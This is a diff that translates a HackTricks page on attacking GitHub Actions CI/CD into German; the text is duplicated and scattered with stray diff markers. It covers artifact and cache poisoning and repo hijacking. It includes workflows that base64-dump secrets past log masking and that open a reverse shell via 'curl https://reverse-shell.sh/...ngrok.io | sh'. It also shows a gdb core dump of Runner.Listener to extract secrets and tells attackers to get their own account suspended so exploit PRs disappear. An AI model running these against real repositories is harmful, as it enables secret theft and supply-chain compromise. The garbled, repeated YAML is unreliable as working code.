Das Problem ist, dass, wenn der **`path`**-Parameter nicht gesetzt ist, das Artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im Workflow verwendet oder sogar ausgeführt werden könnten. Daher könnte ein Angreifer dies ausnutzen, um andere Workflows zu kompromittieren, die dem Artifact vertrauen.
|
||||
|
||||
Beispiel eines anfälligen Workflows:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
jobs:
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
This could be attacked with this workflow:
|
||||
|
||||
Dies könnte mit diesem Workflow angegriffen werden:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Other External Access
|
||||
## Anderer externer Zugriff
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
### Gelöschte Namespace-Repo-Hijacking
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository **weniger als 100 Sterne vor der Namensänderung hatte**, erlaubt Github dem neu registrierten Benutzer mit demselben Namen, ein **Repository mit demselben Namen** wie das gelöschte zu erstellen.
|
||||
|
||||
> [!CAUTION]
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
> Wenn eine Aktion ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte.
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine umfassendere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
## Repo-Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
> In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, **von einem Repo zu einem anderen zu pivotieren**, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt).
|
||||
|
||||
### Cache Poisoning
|
||||
### Cache-Poisoning
|
||||
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** **kompromittiert**, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### Artifact Poisoning
|
||||
### Artifact-Poisoning
|
||||
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action, die ein **Artefakt hochlädt**, zu **kompromittieren**, das später von einem anderen Workflow verwendet wird, könnte er die **anderen Workflows kompromittieren**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Exploitation from an Action
|
||||
## Post-Exploitation von einer Aktion
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### Zugriff auf AWS und GCP über OIDC
|
||||
|
||||
Check the following pages:
|
||||
Überprüfen Sie die folgenden Seiten:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -408,170 +390,160 @@ Check the following pages:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Zugriff auf Geheimnisse <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
If you are injecting content into a script it's interesting to know how you can access secrets:
|
||||
Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie auf Geheimnisse zugreifen können:
|
||||
|
||||
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
|
||||
- Wenn das Geheimnis oder Token auf eine **Umgebungsvariable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** zugegriffen werden.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Geheimnisse in der Github Action-Ausgabe auflisten</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Erhalte eine Reverse-Shell mit Geheimnissen</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
- Wenn das Geheimnis **direkt in einem Ausdruck** verwendet wird, wird das generierte Shell-Skript **auf der Festplatte** gespeichert und ist zugänglich.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Bei JavaScript-Aktionen werden die Geheimnisse über Umgebungsvariablen gesendet.
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Bei einer **benutzerdefinierten Aktion** kann das Risiko variieren, je nachdem, wie ein Programm das Geheimnis verwendet, das es aus dem **Argument** erhalten hat:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### Missbrauch von selbst gehosteten Runnern
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach **`runs-on: self-hosted`** in der Github Action-Konfigurations-YAML zu suchen.
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
**Selbst gehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen.
|
||||
|
||||
Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher ausliest:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Überprüfen Sie [**diesen Beitrag für weitere Informationen**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
|
||||
An example can be find in the following expandable:
|
||||
Es ist möglich, Github-Aktionen zu erstellen, die **ein Docker-Image innerhalb von Github erstellen und speichern**.\
|
||||
Ein Beispiel finden Sie im folgenden ausklappbaren Bereich:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
uses: docker/setup-buildx-action@v1
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
|
||||
- name: Add Github Token to Dockerfile to be able to download code
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
|
||||
|
||||
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
|
||||
Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in **`ghcr.io`** gehostet.
|
||||
|
||||
Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Dann könnte der Benutzer nach **geleakten Geheimnissen in den Docker-Image-Schichten suchen:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Sensible Informationen in Github Actions-Protokollen
|
||||
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Selbst wenn **Github** versucht, **Geheimwerte** in den Aktionsprotokollen zu **erkennen** und **zu vermeiden**, dass sie angezeigt werden, werden **andere sensible Daten**, die während der Ausführung der Aktion generiert wurden, nicht verborgen. Zum Beispiel wird ein mit einem Geheimwert signiertes JWT nicht verborgen, es sei denn, es ist [speziell konfiguriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Covering your Tracks
|
||||
## Spuren verwischen
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **gesperrt** sind, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto sperren lassen oder Ihr Konto kennzeichnen lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden gesperrt wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.
|
||||
|
||||
> [!WARNING]
|
||||
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
|
||||
> Der einzige Weg für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, besteht darin, die GitHub-Protokolle von SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde.
|
||||
|
||||
## Tools
|
||||
## Werkzeuge
|
||||
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
Die folgenden Werkzeuge sind nützlich, um Github Action-Workflows zu finden und sogar verwundbare zu finden:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user